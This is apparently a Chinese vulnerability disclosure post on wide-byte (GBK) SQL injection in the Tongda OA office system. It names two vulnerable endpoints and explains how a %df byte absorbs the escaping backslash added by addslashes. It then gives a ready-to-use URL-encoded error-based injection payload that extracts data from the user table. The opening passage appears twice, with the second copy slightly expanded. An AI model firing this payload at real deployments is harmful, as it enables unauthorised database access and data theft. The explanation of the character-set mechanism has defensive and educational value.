通达OA 两处注入点: ``` /interface/auth.php /general/score/flow/scoredate/result.php ``` 主要原因还是由于宽字符导致的。 MYSQL的字符集转换过程 1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection; 2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下: • 使用每个数据字段的CHARACTER SET设定值; • 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准); • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值; • 若上述值不存在,则使用character_set_server设定值。 • 将操作结果从内部操作字符集转换为character_set_results。 >宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。 ``` 1,$_GET[‘sql’] 经过 addslashes编码之后带入了‘\’ 变为USER_ID=%df%5c%27 2,带入mysql处理时使用了gbk字符集 %df%5c变成 運 成功的吃掉了%5c 从而导致单引号成功闭合 ``` GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。 在提交USER_ID=%df%27 或者 USER_ID=%df%27   构造相应的payload即可完成攻击 ```...
通达OA 两处注入点: ``` /interface/auth.php /general/score/flow/scoredate/result.php ``` 主要原因还是由于宽字符导致的。 MYSQL的字符集转换过程 1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection; 2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下: • 使用每个数据字段的CHARACTER SET设定值; • 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准); • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值; • 若上述值不存在,则使用character_set_server设定值。 • 将操作结果从内部操作字符集转换为character_set_results。 >宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。 ``` 1,$_GET[‘sql’] 经过 addslashes编码之后带入了‘\’ 变为USER_ID=%df%5c%27 2,带入mysql处理时使用了gbk字符集 %df%5c变成 運 成功的吃掉了%5c 从而导致单引号成功闭合 ``` GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。 在提交USER_ID=%df%27 或者 USER_ID=%df%27   构造相应的payload即可完成攻击 ``` %df%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23 ``` 漏洞证明:  POC  